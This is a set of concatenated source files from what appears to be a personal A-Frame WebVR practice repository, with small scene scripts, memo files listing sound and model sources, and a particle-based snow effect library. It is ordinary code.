- [pin_shape_compound_cylinder_props_2](https://k38.github.io/aframe/physics-system/pin_shape_compound_cylinder_props_2.html)
- [pin_shape_compound_sphere](https://k38.github.io/aframe/physics-system/pin_shape_compound_sphere.html)
- [pin_shape_compound_sphere_radius](https://k38.github.io/aframe/physics-system/pin_shape_compound_sphere_radius.html)
- [pin_shape_compound_sphere_radius_1](https://k38.github.io/aframe/physics-system/pin_shape_compound_sphere_radius_1.html)
- shape -compound 3
- [pin_shape_comp_multi_1](https://k38.github.io/aframe/physics-system/pin_shape_comp_multi_1.html)
- [pin_shape_comp_multi_2](https://k38.github.io/aframe/physics-system/pin_shape_comp_multi_2.html)
- [pin_shape_comp_multi_3](https://k38.github.io/aframe/physics-system/pin_shape_comp_multi_3.html)
- [pin_shape_comp_multi_4](https://k38.github.io/aframe/physics-system/pin_shape_comp_multi_4.html)
- [pin_shape_comp_multi_5](https://k38.github.io/aframe/physics-system/pin_shape_comp_multi_5.html)
- [pin_shape_comp_multi_bowl_1](https://k38.github.io/aframe/physics-system/pin_shape_comp_multi_bowl_1.html)
- [pin_shape_comp_multi_bowl_2](https://k38.github.io/aframe/physics-system/pin_shape_comp_multi_bowl_2.html)
- [pin_shape_comp_multi_bowl_3](https://k38.github.io/aframe/physics-system/pin_shape_comp_multi_bowl_3.html)
- [pin_shape_comp_multi_bowl_4](https://k38.github.io/aframe/physics-system/pin_shape_comp_multi_bowl_4.html)
- [pin_shape_comp_multi_bowl_5](https://k38.github.io/aframe/physics-system/pin_shape_comp_multi_bowl_5.html)
- lane
- [lane](https://k38.github.io/aframe/physics-system/lane.html)
<file_sep>/particle-system/index.js
//@ts-check
document.addEventListener('DOMContentLoaded', DOMContentLoaded);
function DOMContentLoaded(){
// const enabled = document.querySelector("#enabled");
// let sw = true;
// setInterval(()=>{
// enabled.setAttribute("particle-system", "enabled", sw);
// sw = sw ? false: true;
// }, 3000);
}<file_sep>/transition/index.js
document.addEventListener('DOMContentLoaded', function() {
const max = 3;
let current = 1;
const plane = document.querySelector("#next");
const sky = document.querySelector("a-sky");
const assets = document.querySelector("a-assets");
const setImage = (current)=>{
sky.setAttribute("src", `#img${current}`);
const next = current + 1 > max ? 1 : current + 1;
plane.setAttribute("src", `#thumb${next}`);
};
for ( let i=1 ; i<=max ; i++ ) {
assets.appendChild(newImage("img", i));
assets.appendChild(newImage("thumb", i));
}
setImage(1);
plane.addEventListener("click", ()=>{
current = current >= max ? 1 : current + 1;
setImage(current);
});
plane.addEventListener("mouseenter", ()=>{
const size = "0.4";
plane.setAttribute("width", size);
plane.setAttribute("height", size);
});
plane.addEventListener("mouseleave", ()=>{
const size = "0.3";
plane.setAttribute("width", size);
plane.setAttribute("height", size);
});
});
function newImage(prefix, num) {
const img = new Image();
img.src = `${prefix}${num}.jpg`;
img.crossOrigin = "anonymous";
img.id = `${prefix}${num}`;
return img;
}
<file_sep>/howler/memo.md
aframeでhowlerを使った例(ダイアログをタップさせて最初のイベントを要求する)
https://glitch.com/~aframe-howler
<file_sep>/camera/index.js
//@ts-check
document.addEventListener('DOMContentLoaded', DOMContentLoaded);
function DOMContentLoaded(){
// const camera2 = document.querySelector("#camera2");
// setTimeout(()=>{
// camera2.setAttribute("camera", "active", true);
// }, 3000);
}
// AFRAME.registerComponent('rotation-reader', {
// tick: function () {
// // `this.el` is the element.
// // `object3D` is the three.js object.
// // `rotation` is a three.js Euler using radians. `quaternion` also available.
// console.log(this.el.object3D.rotation);
// // `position` is a three.js Vector3.
// console.log(this.el.object3D.position);
// }
// });
AFRAME.registerComponent('rotation-reader', {
/**
* We use IIFE (immediately-invoked function expression) to only allocate one
* vector or euler and not re-create on every tick to save memory.
*/
tick: (function () {
var position = new THREE.Vector3();
var quaternion = new THREE.Quaternion();
return function () {
this.el.object3D.getWorldPosition(position);
this.el.object3D.getWorldQuaternion(quaternion);
// position and rotation now contain vector and quaternion in world space.
};
})
});<file_sep>/domino01/stage.js
const stages = [
{
tiles: [{"position":"-0.75 0 -3","rotation":"0 90 0"},{"position":"-1.25 0 -3","rotation":"0 90 0"},{"position":"0.25 0 -3","rotation":"0 90 0"},{"position":"-0.25 0 -3","rotation":"0 90 0"},{"position":"1.25 0 -3","rotation":"0 90 0"},{"position":"0.75 0 -3","rotation":"0 90 0"}]
},
/*
{
tiles: [
{"position":"0.25 0 -0.15","rotation":"0 35 0"},
{"position":"0.25 0 0.15","rotation":"0 145 0"},
]
},
{
tiles: [
{"position":"-0.25 0 -0.25","rotation":"0 -45 0"}
]
},
*/
/*
{
tiles: [
{position: "-1.3 0 -2.5", rotation: "0 20 0"},
{position: "-1.0 0 -2.2", rotation: "0 45 0"},
{position: "-0.5 0 -2", rotation: "0 90 0"},
{position: "0 0 -2", rotation: "0 90 0"},
{position: "0.5 0 -2", rotation: "0 90 0"},
{position: "-1.5 0 -3", rotation: "0 0 0"},
{position: "-1.3 0 -3.5", rotation: "0 -20 0"},
{position: "-1.0 0 -3.8", rotation: "0 -45 0"},
{position: "-0.5 0 -4", rotation: "0 -90 0"},
{position: "0 0 -4", rotation: "0 -90 0"},
{position: "0.5 0 -4", rotation: "0 -90 0"},
],
},
*/
/*
{
tiles: [
{position: "-0.5 0 -2", rotation: "0 90 0"},
{position: "0 0 -2", rotation: "0 90 0"},
{position: "0.5 0 -2", rotation: "0 90 0"},
],
},
{
tiles: [
{position: "-3.0 0 -2", rotation: "0 90 0"},
{position: "-2.5 0 -2", rotation: "0 90 0"},
{position: "-2.0 0 -2", rotation: "0 90 0"},
{position: "-1.5 0 -2", rotation: "0 90 0"},
{position: "-1.0 0 -2", rotation: "0 90 0"},
{position: "-0.5 0 -2", rotation: "0 90 0"},
{position: "0 0 -2", rotation: "0 90 0"},
{position: "0.5 0 -2", rotation: "0 90 0"},
],
},
*/
];<file_sep>/ecs/index.js
document.addEventListener('DOMContentLoaded', DOMContentLoaded);
function DOMContentLoaded(){
// AFRAME.registerComponent('foo', {
// schema: {
// bar: {type: 'number'},
// baz: {type: 'string'}
// },
// init: function () {
// // Do something when component first attached.
// console.log("foo init");
// },
// update: function () {
// // Do something when component's data is updated.
// },
// remove: function () {
// // Do something the component or its entity is detached.
// },
// tick: function (time, timeDelta) {
// // Do something on every scene tick or frame.
// }
// });
// AFRAME.registerPrimitive('a-ocean', {
// defaultComponents: {
// ocean: {},
// rotation: {x: -90, y: 0, z: 0}
// },
// mappings: {
// width: 'ocean.width',
// depth: 'ocean.depth',
// density: 'ocean.density',
// color: 'ocean.color',
// opacity: 'ocean.opacity'
// }
// });
}<file_sep>/kks-magic/kksSnow/kksSnow.js
/**
* v0.3.0
* KKsMagic飘雪预设
* 随机舞动dance效果需要SimplexNoise和polyfill/typedarray支持
*/
(function () {
//获取预设所在路径
var js = document.scripts;
js = js[js.length - 1];
var path = js.src.substring(0, js.src.lastIndexOf("/") + 1);
//注册预设
KKsMagic.addPreset('snow', {
init: init,
tick: tick,
author: 'zhyuzh',
desc: 'A 400X400X400 snow box,not textured,with options.color,as default preset.',
});
var kksOpt = {
maxCount: 2000, //最大雪花数量,超过这个数量的雪花会被忽略
count: 20, //每秒产生雪花数量,推荐60~100
size: 1, //雪花大小,不推荐修改
pos: '0 -30 0', //飘雪范围的中心,不推荐修改;低于y值雪花消失
box: '100 10 100', //生成雪花的盒子,相对于pos,范围越大需要生成越多的雪花
boxHeight: 90, //雪花盒子的距离地面的高度
speed: 10, //每秒向下移动数值,推荐5~20
acc: 5, //加速度,每秒变化量,生成时生效,推荐小于speed;这个值同时轻微影响dance效果
accRand: 2, //加速度随机变化值,生成时生效,推荐与acc相加小于speed;
dance: 7, //每秒飘舞幅度,值越大水平方向飘动越严重,即时生效,推荐2~10
color: '#FFFFFF', //雪花的颜色,不推荐修改
colors: undefined, //随机颜色,数组,将覆盖color选项。不推荐使用
opacity: 0.66, //雪花透明度,推荐0.1~1
textrue: path + "imgs/dot-64.png", //雪花的形状图片,不推荐修改
};
/**
* 默认的初始化粒子函数,
* 400立方的范围随机生成粒子
* 读取默认图片材质
* @returns {object} THREE.Points
*/
function init() {
var ctx = this;
//生成基本数据
ctx.$kksData = {
time: 0,
points: [],
colors: [],
};
genOpt.call(ctx);
//生成Object3D对象
ctx.$kksSnow = new THREE.Points(new THREE.Geometry(), ctx.$kksData.mat);
var kksMagic = new THREE.Group();
kksMagic.add(ctx.$kksSnow);
//添加更新监听
ctx.el.addEventListener('kksUpdate', function (evt) {
ctx.data.options = evt.detail || {};
genOpt.call(ctx);
ctx.$kksSnow.material = ctx.$kksData.mat;
});
return kksMagic;
};
/**
* 默认每次tick的函数,自动下落,落到最低返回顶部
*/
function tick() {
var ctx = this;
var time = arguments[0][0];
var deltaTime = arguments[0][1];
genSnow.call(ctx, deltaTime);
tickSnow.call(ctx, deltaTime);
};
//---------------functions--------------
/**
* 动态生成设置选项
*/
function genOpt() {
var ctx = this;
ctx.$kksOpt = kksOpt;
//合并用户设置,整理数据,以及数量限定
ctx.$kksOpt = Object.assign(ctx.$kksOpt, ctx.data.options);
//整理数据
if (ctx.$kksOpt.pos.constructor == String) {
var posArr = ctx.$kksOpt.pos.split(' ');
ctx.$kksOpt.pos = new THREE.Vector3(Number(posArr[0]), Number(posArr[1]), Number(posArr[2]));
};
//整理数据
if (ctx.$kksOpt.box.constructor == String) {
var boxArr = ctx.$kksOpt.box.split(' ');
ctx.$kksOpt.box = new THREE.Vector3(Number(boxArr[0]), Number(boxArr[1]), Number(boxArr[2]));
};
//生成材质
var mat = new THREE.PointsMaterial({
size: ctx.$kksOpt.size,
map: new THREE.TextureLoader().load(ctx.$kksOpt.textrue),
blending: THREE.AdditiveBlending,
opacity: ctx.$kksOpt.opacity,
transparent: true,
depthTest: false,
});
//处理随机颜色
if (ctx.$kksOpt.colors) {
var carr = [];
ctx.$kksOpt.colors.forEach(function (clr) {
carr.push(new THREE.Color(clr));
});
ctx.$kksOpt.colors = carr;
mat.vertexColors = THREE.VertexColors;
} else {
mat.color = new THREE.Color(ctx.$kksOpt.color);
};
ctx.$kksData.mat = mat;
};
/**
* 生成雪花,将新的雪花points添加到points队列
*/
function genSnow(deltaTime) {
var ctx = this;
var kksData = ctx.$kksData;
var kksOpt = ctx.$kksOpt;
var timeUnit = kksData.time == 0 ? 0.16 : deltaTime / 1000;
var n = timeUnit * kksOpt.count;
for (var i = 0; i < n; i++) {
var p = {};
var x = kksOpt.pos.x + Math.random() * kksOpt.box.x - kksOpt.box.x / 2;
var y = kksOpt.pos.y + kksOpt.boxHeight + Math.random() * kksOpt.box.y - kksOpt.box.y / 2;
var z = kksOpt.pos.z + Math.random() * kksOpt.box.z - kksOpt.box.z / 2;
p.pos = new THREE.Vector3(x, y, z);
p.acc = genRandomV3().multiplyScalar((kksOpt.acc + Math.random() * kksOpt.accRand));
//为了避免动态调整找不到clr,无论是否开启colors都指定clr参数
if (kksOpt.colors) {
var clr = kksOpt.colors[Math.floor(Math.random() * kksOpt.colors.length)];
p.clr = clr;
kksData.colors.push(clr);
} else {
p.clr = kksData.mat.color;
};
kksData.points.push(p);
};
};
/**
* 每帧都重新计算雪花的位置,生成新的物体
*/
var danceGen = SimplexNoise ? new SimplexNoise() : undefined;
function tickSnow(deltaTime) {
var ctx = this;
var kksData = ctx.$kksData;
var kksOpt = ctx.$kksOpt;
kksData.time += deltaTime;
var timeUnit = kksData.time == 0 ? 0.16 : deltaTime / 1000;
var parr = [];
var varr = [];
var carr = [];
//使用最新的雪花,超过数量限制的忽略掉
var offset = kksData.points.length < ctx.$kksOpt.maxCount ? 0 : kksData.points.length - ctx.$kksOpt.maxCount;
for (var i = offset; i < kksData.points.length; i++) {
var p = kksData.points[i];
if (p && p.pos && p.pos.y >= kksOpt.pos.y) {
if (danceGen) {
var ax = danceGen.noise2D(p.pos.y * 0.05, p.acc.x);
var az = danceGen.noise2D(p.pos.y * 0.05, p.acc.z);
var ay = danceGen.noise2D(p.pos.y * 0.05, p.acc.y);
var dance = new THREE.Vector3(ax, ay, az);
dance.multiplyScalar(kksOpt.dance * timeUnit);
p.pos.add(dance);
};
p.pos.add(p.acc.clone().multiplyScalar(timeUnit));
p.pos.setY(p.pos.y -= kksOpt.speed * timeUnit);
parr.push(p);
varr.push(p.pos);
if (kksOpt.colors) carr.push(p.clr);
};
};
kksData.points = parr;
//刷新粒子物体
var newGeo = new THREE.Geometry();
newGeo.vertices = varr;
if (kksOpt.colors || kksOpt.colors) newGeo.colors = carr;
ctx.$kksSnow.geometry = newGeo;
};
//--------------ext function-------
/**
* 生成随机数字,正负值,-1到+1
* @returns {number} res
*/
function genRandom() {
if (Math.random() > 0.5) {
return Math.random();
} else {
return Math.random() * -1;
};
};
/**
* 生成随机Vector3,正负值,-1到1
* @returns {number} res
*/
function genRandomV3(base) {
return new THREE.Vector3(genRandom(), genRandom(), genRandom());
};
})();
///
<file_sep>/primitives/index.js
document.addEventListener('DOMContentLoaded', DOMContentLoaded);
function DOMContentLoaded(){
const extendDeep = AFRAME.utils.extendDeep;
const meshMixin = AFRAME.primitives.getMeshMixin();
// AFRAME.registerPrimitive("a-box", extendDeep({}, meshMixin, {
// defaultComponents: {
// geometry: {primitive: "box"}
// },
// mappings: {
// depth: "geometry.depth",
// height: "geometry.height",
// width: "geometry.width"
// }
// }));
AFRAME.registerPrimitive('a-ocean', {
defaultComponents: {
ocean: {},
rotation: {x: -90, y: 0, z: 0}
},
mappings: {
width: 'ocean.width',
depth: 'ocean.depth',
density: 'ocean.density',
color: 'ocean.color',
opacity: 'ocean.opacity'
}
});
}<file_sep>/alongpath-component/index.js
document.addEventListener('DOMContentLoaded', DOMContentLoaded);
var engines;
var sound;
var bgm;
var engine;
function DOMContentLoaded(){
initSounds();
engines = document.querySelectorAll(".engine");
const path = document.querySelector("#path");
path.addEventListener("alongpath-trigger-activated", (_)=>{
const point = _.target["id"];
// console.log(point);
switch(point){
case "p7":
engineControl("on");
upBgm();
setTimeout(_ => {
playEngine();
}, 4000);
setTimeout(_ => {
downBgm();
}, 6500);
break;
case "p12":
case "p13":
engineControl("low");
break;
case "p1":
restartBgm();
case "p2":
case "p14":
case "p15":
engineControl("off");
break;
}
});
path.addEventListener("movingended", (_)=>{
engineControl("off");
});
}
function engineControl(sw){
const param = {"preset":"dust","size":800,"maxAge":1,"particleCount":30,"maxParticleCount":150,"type":1,"color":["#fff"],"blending":1,"positionSpread":{"x":0,"y":0,"z":0},"opacity":["0","0.2","0"],"accelerationValue":{"x":0,"y":-500,"z":500},"accelerationSpread":{"x":2500,"y":500,"z":500},"velocityValue":{"x":0,"y":0,"z":0},"velocitySpread":{"x":0,"y":0,"z":0},"enabled":false,"rotationAxis":"x","rotationAngle":3.14,"rotationAngleSpread":0,"dragValue":0,"dragSpread":0,"dragRandomise":false,"direction":1,"duration":null,"texture":"https://cdn.rawgit.com/IdeaSpaceVR/aframe-particle-system-component/master/dist/images/smokeparticle.png","randomise":false};
switch(sw){
case "on":
param["enabled"] = true;
param["opacity"] = ["0","0.2","0"];
break;
case "low":
param["enabled"] = true;
param["opacity"] = ["0","0.1","0"];
break;
case "off":
param["enabled"] = false;
param["opacity"] = ["0","0.2","0"];
break;
}
engines.forEach(_ => {
_.setAttribute("particle-system", param);
});
}
function initSounds() {
sound = new Howl({
src: ["sound/sound.mp3"],
autoplay: true,
sprite: {
bgm: [0, 9.1 * 1000, true],
engine: [11 * 1000, 8.5 * 1000]
},
});
playBgm();
}
function playBgm() {
if(!sound.playing(bgm)){
console.log("play");
bgm = sound.play("bgm");
sound.volume(0.0001, bgm);
sound.fade(0.0001, 0.1, 1500, bgm);
}
}
function restartBgm() {
console.log("restart");
if(sound.playing(bgm)){
sound.fade(0.0001, 0.1, 1500, bgm);
}
}
function upBgm() {
console.log("up");
if(sound.playing(bgm)){
sound.fade(0.1, 0.4, 500, bgm);
}
}
function downBgm() {
console.log("down");
if(sound.playing(bgm)){
sound.fade(0.4, 0.0001, 500, bgm);
}
}
function playEngine() {
const id = sound.play("engine");
sound.fade(0.0, 1.0, 2000, id);
setTimeout(_ => {
sound.fade(1.0, 0.0, 2000, id);
}, 3500);
}<file_sep>/alongpath-component/memo.md
Air New Zealand Boeing 777 219 ER updated livery
danielskom111
https://sketchfab.com/3d-models/air-new-zealand-boeing-777-219-er-updated-livery-17050ee33dfb4fe1981cac462893c158
飛行機上空通過1
https://soundeffect-lab.info/sound/machine/
飛行機のエンジン音
https://dova-s.jp/se/play1089.html
ラジオ1
https://taira-komori.jpn.org/noise01.html
旅客機内アナウンス(ポーン)
https://on-jin.com/sound/nori.php?kate=%E9%A3%9B%E8%A1%8C
飛行機-ポーン・アナウンス・シートベルト脱着
https://www.senses-circuit.com/sounds/se/airplane-announcement/
Seat belt sign sound
https://www.youtube.com/watch?v=Y9WDcPwAQ0g
Airplane Seat Belt Sign On
https://www.youtube.com/watch?v=J4HHiJ8oAiQ
Fasten Seatbelt.flac
https://freesound.org/people/qubodup/sounds/197248/
迫力!正面からの離陸の瞬間はやっぱカッコいい♪ 富山きときと空港 2019年1月
https://www.youtube.com/watch?v=8qvDk29yCOY
Best Pilots in the World Storm Ciara Crosswind landings and Takeoffs and Go-around Extreme Weather
https://www.youtube.com/watch?v=JARNXVXJ1Dk
<file_sep>/animation/index.js
//@ts-check
document.addEventListener('DOMContentLoaded', DOMContentLoaded);
function DOMContentLoaded(){
const red = document.querySelector("#red");
red.addEventListener("animationbegin", ()=>{ console.log("animationbegin") });
red.addEventListener("animationcomplete", ()=>{ console.log("animationcomplete") });
const indigo = document.querySelector("[color=indigo]");
indigo.addEventListener("animationcomplete__1", ()=>{ console.log("animationcomplete__1") });
indigo.addEventListener("animationcomplete__2", ()=>{ console.log("animationcomplete__2") });
}
<file_sep>/entity/index.js
//@ts-check
document.addEventListener('DOMContentLoaded', DOMContentLoaded);
function DOMContentLoaded(){
console.log("DOMContentLoaded");
const entity = document.querySelector("a-entity");
// entity.addEventListener("stateadded", function(evt){
// if (evt.detail.state === "selected"){
// console.log("Entity now selected!");
// }
// });
// entity.addState("selected");
// entity.is("selected");
// console.log(entity.is("selected"));
// entity.emit("rotate");
// entity.emit("sink", null, false);
// entity.setAttribute("material", {color: "blue"});
// entity.flushToDOM(true);
// entity.sceneEl.flushToDOM(true);
// entity.setAttribute("material", "color", "green");
// entity.addEventListener("child-attached", function(evt) {
// console.log("child-attached");
// });
// entity.addEventListener("child-detached", function(evt) {
// console.log("child-detached");
// });
// const child = document.createElement("a-entity");
// entity.appendChild(child);
// entity.removeChild(child);
}<file_sep>/physics-system/index.js
//@ts-check
document.addEventListener('DOMContentLoaded', DOMContentLoaded);
function DOMContentLoaded(){
const ball = document.querySelector("#ball");
// const v = new THREE.Vector3(0, 2, -1);
// const v = new THREE.Vector3(0, 2, -5);
// const v = new THREE.Vector3(0, 2, -10);
const v = new THREE.Vector3(0, 2, -20);
ball.setAttribute("velocity", v);
}
<file_sep>/utils/index.js
//@ts-check
document.addEventListener('DOMContentLoaded', DOMContentLoaded);
function DOMContentLoaded(){
const boxEl = document.querySelector("a-box");
console.log([
AFRAME.utils.coordinates.isCoordinate("1 2 3"),
AFRAME.utils.coordinates.isCoordinate("1 2 3 4"),
AFRAME.utils.coordinates.isCoordinate("1 2"),
AFRAME.utils.coordinates.isCoordinate("abc"),
AFRAME.utils.coordinates.parse("1 2 -3"),
AFRAME.utils.coordinates.parse("1 2 -3 4"),
AFRAME.utils.coordinates.parse("1 2"),
AFRAME.utils.coordinates.stringify({x: 1, y: 2, z: -3}),
AFRAME.utils.coordinates.stringify({x: 1, y: 2, z: -3, w: 4}),
AFRAME.utils.coordinates.stringify({x: 1, y: 2}),
AFRAME.utils.entity.getComponentProperty(boxEl, "geometry.primitive"),
// AFRAME.utils.entity.getComponentProperty(boxEl, "geometry | primitive", "|"),
AFRAME.utils.entity.getComponentProperty(boxEl, "geometry"),
AFRAME.utils.entity.setComponentProperty(boxEl, "geometry.width", 1),
// AFRAME.utils.entity.setComponentProperty(boxEl, "geometry | height", 2, "|"),
AFRAME.utils.entity.setComponentProperty(boxEl, "geometry", {depth: 3}),
AFRAME.utils.styleParser.parse("attribute: color; dur: 5000;"),
AFRAME.utils.styleParser.stringify({height: 10, width: 5}),
AFRAME.utils.deepEqual({a:1, b:{c: 3}}, {a:1, b:{c: 3}}),
AFRAME.utils.deepEqual({a:1, b:{c: 3}}, {a:1, b:{c: 2}}),
AFRAME.utils.diff({a:1, b:{c: 3}}, {a:1, b:{c: 3}}),
AFRAME.utils.diff({a:1, b:{c: 3}}, {b:{c: 2}}),
AFRAME.utils.extend({a: 1}, {b: {c: 2}}),
AFRAME.utils.extend({a: 1}, {b: {c: 2}}, {d: 3}),
AFRAME.utils.extend({a: 1}, {a: {c: 2}}, {d: 3}),
AFRAME.utils.extendDeep({a: 1}, {b: {c: 2}}),
AFRAME.utils.extendDeep({a: 1}, {b: {c: 2}}, {d: 3}),
AFRAME.utils.extendDeep({a: 1}, {a: {c: 2}}, {d: 3}),
AFRAME.utils.device.checkHeadsetConnected(),
AFRAME.utils.device.isGearVR(),
AFRAME.utils.device.isOculusGo(),
AFRAME.utils.device.isMobile(),
AFRAME.utils.getUrlParameter('testing')
]);
// AFRAME.registerComponent('foo', {
// init: function () {
// // Set up throttling.
// this.throttledFunction = AFRAME.utils.throttle(this.everySecond, 1000, this);
// },
// everySecond: function () {
// // Called every second.
// console.log("A second passed.");
// },
// tick: function (t, dt) {
// this.throttledFunction(); // Called once a second.
// console.log("A frame passed."); // Called every frame.
// },
// });
AFRAME.registerComponent('foo', {
init: function () {
// Set up the tick throttling.
this.tick = AFRAME.utils.throttleTick(this.tick, 500, this);
},
/**
* Tick function that will be wrapped to be throttled.
*/
tick: function (t, dt) { }
});
}
<file_sep>/components2/index.js
//@ts-check
document.addEventListener('DOMContentLoaded', DOMContentLoaded);
function DOMContentLoaded() {
setTimeout(()=>{
const boxFoo = document.querySelector("a-box").components.foo;
boxFoo.qux();
}, 3000);
}
AFRAME.registerComponent('foo', {
events: {
click: function (evt) {
console.log('This entity was clicked!');
this.el.setAttribute('material', 'color', 'red');
}
},
qux: function() {
console.log("qux");
}
});
<file_sep>/inspector/index.js
//@ts-check
// document.addEventListener('DOMContentLoaded', DOMContentLoaded);
// function DOMContentLoaded(){
// document.addEventListener('keydown', function (evt) {
// // ...
// });
// }
// AFRAME.registerComponent('debug-controller', {
// schema: {
// enabled: {default: false}
// },
// init: function () {
// var primaryHand;
// var secondaryHand;
// if (!this.data.enabled && !AFRAME.utils.getUrlParameter('debug')) { return; }
// console.log('%c debug-controller enabled ', 'background: #111; color: red');
// this.isTriggerDown = false;
// primaryHand = document.getElementById('primaryHand');
// secondaryHand = document.getElementById('secondaryHand');
// secondaryHand.setAttribute('position', {x: -0.2, y: 1.5, z: -0.5});
// primaryHand.setAttribute('position', {x: 0.2, y: 1.5, z: -0.5});
// secondaryHand.setAttribute('rotation', {x: 35, y: 0, z: 0});
// primaryHand.setAttribute('rotation', {x: 35, y: 0, z: 0});
// document.addEventListener('keydown', evt => {
// var primaryPosition;
// var primaryRotation;
// // <shift> + * for everything.
// if (!evt.shiftKey) { return; }
// // <space> for trigger.
// if (evt.keyCode === 32) {
// if (this.isTriggerDown) {
// primaryHand.emit('triggerup');
// this.isTriggerDown = false;
// } else {
// primaryHand.emit('triggerdown');
// this.isTriggerDown = true;
// }
// return;
// }
// // Position bindings.
// primaryPosition = primaryHand.getAttribute('position');
// if (evt.keyCode === 72) { primaryPosition.x -= 0.01 } // h.
// if (evt.keyCode === 74) { primaryPosition.y -= 0.01 } // j.
// if (evt.keyCode === 75) { primaryPosition.y += 0.01 } // k.
// if (evt.keyCode === 76) { primaryPosition.x += 0.01 } // l.
// if (evt.keyCode === 59 || evt.keyCode === 186) { primaryPosition.z -= 0.01 } // ;.
// if (evt.keyCode === 222) { primaryPosition.z += 0.01 } // ;.
// // Rotation bindings.
// primaryRotation = primaryHand.getAttribute('rotation');
// if (evt.keyCode === 89) { primaryRotation.x -= 10 } // y.
// if (evt.keyCode === 79) { primaryRotation.x += 10 } // o.
// primaryHand.setAttribute('position', AFRAME.utils.clone(primaryPosition));
// primaryHand.setAttribute('rotation', AFRAME.utils.clone(primaryRotation));
// });
// }
// });<file_sep>/rotation/index.js
document.addEventListener('DOMContentLoaded', DOMContentLoaded);
function DOMContentLoaded(){
console.log("--DOMContentLoaded");
const yellow = document.getElementById("yellow");
const group = document.getElementById("group");
yellow.setAttribute("rotation", {x: 0, y: 45, z: 0});
group.object3D.rotation.set(
THREE.Math.degToRad(0),
THREE.Math.degToRad(45),
THREE.Math.degToRad(0),
);
group.object3D.rotation.y += Math.PI / 6;
}<file_sep>/basic_scene/index.js
//@ts-check
document.addEventListener('DOMContentLoaded', DOMContentLoaded);
function DOMContentLoaded() {
var boxEl = document.querySelector('a-box');
boxEl.addEventListener('mouseenter', function () {
boxEl.setAttribute('scale', { x: 2, y: 2, z: 2 });
});
}<file_sep>/position/index.js
document.addEventListener('DOMContentLoaded', DOMContentLoaded);
function DOMContentLoaded(){
console.log("--DOMContentLoaded");
const yellow = document.getElementById("yellow");
const blue = document.getElementById("blue");
yellow.setAttribute("position", {x: 0.5, y: 0.1, z: -3});
console.log(yellow);
blue.object3D.position.set(-0.5, 0.1, -3);
console.log(blue);
}<file_sep>/kks-magic/kksMagic/kksMagic.js
/**
* <a-entity kks-magic='preset:_default,options:{color:"#E91E61"}'></a-entity>
* 最基本的aframe粒子系统注册kks-magic组件
* 生成全局KKsMagic对象
* 可以使用KKsMagic.addPreset(name preset)方法添加新的预设,然后再使用
* preset格式{init,tick,update}三个函数
* preset.init函数必须返回一个THREE.Points对象
* 在函数中this指向el,比如this.$kksMagic.geometry指向threejs对象
* preset.tick函数通过修改ctx.$kksMagic.geometry.vertices数组所有点实现动画效果
* 在函数中可以访问this.data.options对象访问用户entity中设定的参数,注意parse处理
* 默认_default预设为400立方范围内降落的方形白色粒子
*/
(function () {
window.KKsMagic = {
/**
* 添加一个新的预设模版
* @param {string} name 预设模版的名称
* @param {object} preset {init,tick,update}三个函数
*/
addPreset: function (name, preset) {
if (this.presets[name]) {
console.log('KKsMagic:addPreset:', name, 'has used.');
console.info('┖--You can log KKsMagic.presets to see all presets.');
} else {
this.presets[name] = preset;
};
},
presets: {},
};
//-------------注册组件--------------
AFRAME.registerComponent('kks-magic', {
schema: {
preset: {
type: 'string',
default: '_default',
},
options: {
type: 'string',
parse: function (val) {
var res = eval('(function(){return ' + val + '})()');
return res;
},
},
init: {
type: 'string',
default: 'init',
},
tick: {
type: 'string',
default: 'tick',
},
update: {
type: 'string',
default: 'update',
},
},
init: function () {
var ctx = this;
if (!KKsMagic.presets[ctx.data.preset]) {
console.warn('KKsMagic:init:preset not found:', ctx.data.preset, ',set as _default.');
console.info('┖--You can log KKsMagic.presets to see all valid names.');
ctx.data.preset = '_default';
};
var points;
if (KKsMagic.presets[ctx.data.preset].init) {
points = KKsMagic.presets[ctx.data.preset].init.call(ctx, arguments);
};
if (points) {
if (points.constructor != THREE.Points && points.constructor != THREE.Group) {
points = new THREE.Points(new THREE.Geometry(), new THREE.PointsMaterial());
console.warn('KKsMagic:init:not return a THREE.Points/THREE.Group object:', ctx.data.preset, ',use a default THREE.Points.');
};
} else {
points = new THREE.Points(new THREE.Geometry(), new THREE.PointsMaterial());
console.warn('KKsMagic:init:not return a object:', ctx.data.preset, ',use a default THREE.Points..');
};
ctx.$kksMagic = points;
ctx.el.setObject3D('kks-magic', ctx.$kksMagic);
},
update: function () {
var ctx = this;
if (KKsMagic.presets[ctx.data.preset].update) {
KKsMagic.presets[ctx.data.preset].update.call(ctx, arguments);
};
},
tick: function () {
var ctx = this;
if (KKsMagic.presets[ctx.data.preset].tick) {
KKsMagic.presets[ctx.data.preset].tick.call(ctx, arguments);
};
},
remove: function () {
var ctx = this;
if (KKsMagic.presets[ctx.data.preset].remove) {
KKsMagic.presets[ctx.data.preset].remove.call(ctx, arguments);
};
if (!ctx.$kksMagic) {
return;
};
ctx.el.removeObject3D('kks-magic');
},
pause: function () {
var ctx = this;
if (KKsMagic.presets[ctx.data.preset].pause) {
KKsMagic.presets[ctx.data.preset].pause.call(ctx, arguments);
};
},
play: function () {
var ctx = this;
if (KKsMagic.presets[ctx.data.preset].play) {
KKsMagic.presets[ctx.data.preset].play.call(ctx, arguments);
};
},
});
//--------------添加默认default预设-----------------
KKsMagic.addPreset('_default', {
init: defaultInit,
tick: defaultTick,
update: undefined,
author: 'zhyuzh',
desc: 'A 400X400X400 snow box,not textured,with options.color,as default preset.',
});
/**
* 默认的初始化粒子函数,
* 400立方的范围随机生成粒子
* 读取默认图片材质
* @returns {object} THREE.Points
*/
function defaultInit() {
var ctx = this;
var count = 100;
var geo = new THREE.Geometry();
for (var p = 0; p < count; p++) {
var x = Math.random() * 400 - 200;
var y = Math.random() * 400 - 200;
var z = Math.random() * 400 - 200;
var particle = new THREE.Vector3(x, y, z);
geo.vertices.push(particle);
};
var mat = new THREE.PointsMaterial({
color: ctx.data.options.color || '#FFFFFF',
size: 4,
//map: new THREE.TextureLoader().load("./imgs/particle.png"),
blending: THREE.AdditiveBlending,
transparent: true,
});
var kk = new THREE.Points(geo, mat);
return kk;
};
/**
* 默认每次tick的函数,自动下落,落到最低返回顶部
*/
function defaultTick() {
var ctx = this;
var time = arguments[0][0];
var deltaTime = arguments[0][1];
var verts = ctx.$kksMagic.geometry.vertices;
for (var i = 0; i < verts.length; i++) {
var vert = verts[i];
if (vert.y < -200) {
vert.y = Math.random() * 400 - 200;
}
vert.y = vert.y - (0.1 * deltaTime);
}
ctx.$kksMagic.geometry.verticesNeedUpdate = true;
};
})();
//
<file_sep>/primitive_samples/memo.md
